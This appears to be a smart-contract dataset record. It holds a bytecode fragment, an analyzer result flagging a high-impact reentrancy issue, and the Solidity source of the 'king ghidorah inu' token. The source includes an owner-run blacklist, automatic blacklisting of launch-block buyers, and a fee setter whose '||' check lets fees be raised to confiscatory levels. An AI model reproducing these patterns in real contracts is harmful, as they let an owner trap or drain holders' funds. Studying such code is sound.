58015611bcd5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c275750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbd576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6a5760185481611d1f84610c3c565b611d2991906137db565b10611d69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6090613665565b60405180910390fd5b5b6000611d7530610c3c565b9050600060195482101590506017548210611d905760175491505b808015611daa5750601660159054906101000a900460ff16155b8015611e045750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1a575060168054906101000a900460ff165b8015611e705750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec65750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611eee57611ed4826123e5565b60004790506000811115611eec57611eeb47612256565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f985750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204a5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205957600090506121e0565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121045750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211c57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c75750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121df57600b54600d81905550600c54600e819055505b5b6121ec8484848461266d565b50505050565b600083831115829061223a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223191906134c3565b60405180910390fd5b506000838561224991906138bc565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122b960166122ab60048661269a90919063ffffffff16565b61271590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122e4573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612348601661233a60128661269a90919063ffffffff16565b61271590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612373573d6000803e3d6000fd5b5050565b60006006548211156123be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b590613525565b60405180910390fd5b60006123c861275f565b90506123dd818461271590919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561241d5761241c613ac7565b5b60405190808252806020026020018201604052801561244b5781602001602082028036833780820191505090505b509050308160008151811061246357612462613a98565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561250557600080fd5b505afa158015612519573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061253d9190612f06565b8160018151811061255157612550613a98565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125b830601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611647565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161261c9594939291906136c0565b600060405180830381600087803b15801561263657600080fd5b505af115801561264a573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b8061267b5761267a61278a565b5b6126868484846127cd565b8061269457612693612998565b5b50505050565b6000808314156126ad576000905061270f565b600082846126bb9190613862565b90508284826126ca9190613831565b1461270a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612701906135e5565b60405180910390fd5b809150505b92915050565b600061275783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129ac565b905092915050565b600080600061276c612a0f565b91509150612783818361271590919063ffffffff16565b9250505090565b6000600d5414801561279e57506000600e54145b156127a8576127cb565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127df87612a6b565b95509550955095509550955061283d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128d285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b1d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291e81612b7b565b6129288483612c38565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161298591906136a5565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b600080831182906129f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ea91906134c3565b60405180910390fd5b5060008385612a029190613831565b9050809150509392505050565b600080600060065490506000661ba1d8d33a2a009050612a41661ba1d8d33a2a0060065461271590919063ffffffff16565b821015612a5e57600654661ba1d8d33a2a00935093505050612a67565b81819350935050505b9091565b6000806000806000806000806000612a888a600d54600e54612c72565b9250925092506000612a9861275f565b90506000806000612aab8e878787612d08565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b1583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f2565b905092915050565b6000808284612b2c91906137db565b905083811015612b71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b68906135c5565b60405180910390fd5b8091505092915050565b6000612b8561275f565b90506000612b9c828461269a90919063ffffffff16565b9050612bf081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b1d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c4d82600654612ad390919063ffffffff16565b600681905550612c6881600754612b1d90919063ffffffff16565b6007819055505050565b600080600080612c9e6064612c90888a61269a90919063ffffffff16565b61271590919063ffffffff16565b90506000612cc86064612cba888b61269a90919063ffffffff16565b61271590919063ffffffff16565b90506000612cf182612ce3858c612ad390919063ffffffff16565b612ad390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d21858961269a90919063ffffffff16565b90506000612d38868961269a90919063ffffffff16565b90506000612d4f878961269a90919063ffffffff16565b90506000612d7882612d6a8587612ad390919063ffffffff16565b612ad390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612da4612d9f8461375a565b613735565b90508083825260208201905082856020860282011115612dc757612dc6613b00565b5b60005b85811015612df75781612ddd8882612e01565b845260208401935060208301925050600181019050612dca565b5050509392505050565b600081359050612e1081613f00565b92915050565b600081519050612e2581613f00565b92915050565b60008083601f840112612e4157612e40613afb565b5b8235905067ffffffffffffffff811115612e5e57612e5d613af6565b5b602083019150836020820283011115612e7a57612e79613b00565b5b9250929050565b600082601f830112612e9657612e95613afb565b5b8135612ea6848260208601612d91565b91505092915050565b600081359050612ebe81613f17565b92915050565b600081359050612ed381613f2e565b92915050565b600060208284031215612eef57612eee613b0a565b5b6000612efd84828501612e01565b91505092915050565b600060208284031215612f1c57612f1b613b0a565b5b6000612f2a84828501612e16565b91505092915050565b60008060408385031215612f4a57612f49613b0a565b5b6000612f5885828601612e01565b9250506020612f6985828601612e01565b9150509250929050565b600080600060608486031215612f8c57612f8b613b0a565b5b6000612f9a86828701612e01565b9350506020612fab86828701612e01565b9250506040612fbc86828701612ec4565b9150509250925092565b60008060408385031215612fdd57612fdc613b0a565b5b6000612feb85828601612e01565b9250506020612ffc85828601612ec4565b9150509250929050565b60008060006040848603121561301f5761301e613b0a565b5b600084013567ffffffffffffffff81111561303d5761303c613b05565b5b61304986828701612e2b565b9350935050602061305c86828701612eaf565b9150509250925092565b60006020828403121561307c5761307b613b0a565b5b600082013567ffffffffffffffff81111561309a57613099613b05565b5b6130a684828501612e81565b91505092915050565b6000602082840312156130c5576130c4613b0a565b5b60006130d384828501612eaf565b91505092915050565b6000602082840312156130f2576130f1613b0a565b5b600061310084828501612ec4565b91505092915050565b6000806000806080858703121561312357613122613b0a565b5b600061313187828801612ec4565b945050602061314287828801612ec4565b935050604061315387828801612ec4565b925050606061316487828801612ec4565b91505092959194509250565b600061317c8383613188565b60208301905092915050565b613191816138f0565b82525050565b6131a0816138f0565b82525050565b60006131b182613796565b6131bb81856137b9565b93506131c683613786565b8060005b838110156131f75781516131de8882613170565b97506131e9836137ac565b9250506001810190506131ca565b5085935050505092915050565b61320d81613902565b82525050565b61321c81613945565b82525050565b61322b81613957565b82525050565b600061323c826137a1565b61324681856137ca565b935061325681856020860161398d565b61325f81613b0f565b840191505092915050565b60006132776023836137ca565b915061328282613b20565b604082019050919050565b600061329a603f836137ca565b91506132a582613b6f565b604082019050919050565b60006132bd602a836137ca565b91506132c882613bbe565b604082019050919050565b60006132e0601c836137ca565b91506132eb82613c0d565b602082019050919050565b60006133036026836137ca565b915061330e82613c36565b604082019050919050565b60006133266022836137ca565b915061333182613c85565b604082019050919050565b60006133496023836137ca565b915061335482613cd4565b604082019050919050565b600061336c601b836137ca565b915061337782613d23565b602082019050919050565b600061338f6021836137ca565b915061339a82613d4c565b604082019050919050565b60006133b26020836137ca565b91506133bd82613d9b565b602082019050919050565b60006133d56029836137ca565b91506133e082613dc4565b604082019050919050565b60006133f86025836137ca565b915061340382613e13565b604082019050919050565b600061341b6023836137ca565b915061342682613e62565b604082019050919050565b600061343e6024836137ca565b915061344982613eb1565b604082019050919050565b61345d8161392e565b82525050565b61346c81613938565b82525050565b60006020820190506134876000830184613197565b92915050565b60006020820190506134a26000830184613204565b92915050565b60006020820190506134bd6000830184613213565b92915050565b600060208201905081810360008301526134dd8184613231565b905092915050565b600060208201905081810360008301526134fe8161326a565b9050919050565b6000602082019050818103600083015261351e8161328d565b9050919050565b6000602082019050818103600083015261353e816132b0565b9050919050565b6000602082019050818103600083015261355e816132d3565b9050919050565b6000602082019050818103600083015261357e816132f6565b9050919050565b6000602082019050818103600083015261359e81613319565b9050919050565b600060208201905081810360008301526135be8161333c565b9050919050565b600060208201905081810360008301526135de8161335f565b9050919050565b600060208201905081810360008301526135fe81613382565b9050919050565b6000602082019050818103600083015261361e816133a5565b9050919050565b6000602082019050818103600083015261363e816133c8565b9050919050565b6000602082019050818103600083015261365e816133eb565b9050919050565b6000602082019050818103600083015261367e8161340e565b9050919050565b6000602082019050818103600083015261369e81613431565b9050919050565b60006020820190506136ba6000830184613454565b92915050565b600060a0820190506136d56000830188613454565b6136e26020830187613222565b81810360408301526136f481866131a6565b90506137036060830185613197565b6137106080830184613454565b9695505050505050565b600060208201905061372f6000830184613463565b92915050565b600061373f613750565b905061374b82826139c0565b919050565b6000604051905090565b600067ffffffffffffffff82111561377557613774613ac7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137e68261392e565b91506137f18361392e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561382657613825613a3a565b5b828201905092915050565b600061383c8261392e565b91506138478361392e565b92508261385757613856613a69565b5b828204905092915050565b600061386d8261392e565b91506138788361392e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138b1576138b0613a3a565b5b828202905092915050565b60006138c78261392e565b91506138d28361392e565b9250828210156138e5576138e4613a3a565b5b828203905092915050565b60006138fb8261390e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061395082613969565b9050919050565b60006139628261392e565b9050919050565b60006139748261397b565b9050919050565b60006139868261390e565b9050919050565b60005b838110156139ab578082015181840152602081019050613990565b838111156139ba576000848401525b50505050565b6139c982613b0f565b810181811067ffffffffffffffff821117156139e8576139e7613ac7565b5b80604052505050565b60006139fc8261392e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a2f57613a2e613a3a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f09816138f0565b8114613f1457600080fd5b50565b613f2081613902565b8114613f2b57600080fd5b50565b613f378161392e565b8114613f4257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a5abf424813ad5e8fa4c0a57a7e2219b6fefc49a9d19bbdb3325a0f695961c1264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,816
0x8c41580f868c602ad933b58dc6e95b63a6a6a64d
/** Telegram : https://t.me/kingghidorahinu Website : https://www.kingghidorahinu.com/ Twitter : https://twitter.com/kingghidorahinu */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KINGGHIDORAH is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "king ghidorah inu";// string private constant _symbol = "KGI";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 8;// uint256 private _taxFeeOnBuy = 4;// //Sell Fee uint256 private _redisFeeOnSell = 4;// uint256 private _taxFeeOnSell = 8;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xD80127cC05F6229C308e139e9A07e3Ce57B99227);// address payable private _marketingAddress = payable(0xD80127cC05F6229C308e139e9A07e3Ce57B99227);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; // uint256 public _maxWalletSize = 20000000000 * 10**9; // uint256 public _swapTokensAtAmount = 10000000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); if (!_isExcludedFromFee[_msgSender()]) _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { uint256 feeRatio = _taxFeeOnBuy.div(_taxFeeOnSell); _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading() public onlyOwner { tradingOpen = true; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell; uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy; require(totalSellFee <= 100 || totalBuyFee <= 100, "Fees must be under 100%"); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%"); _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
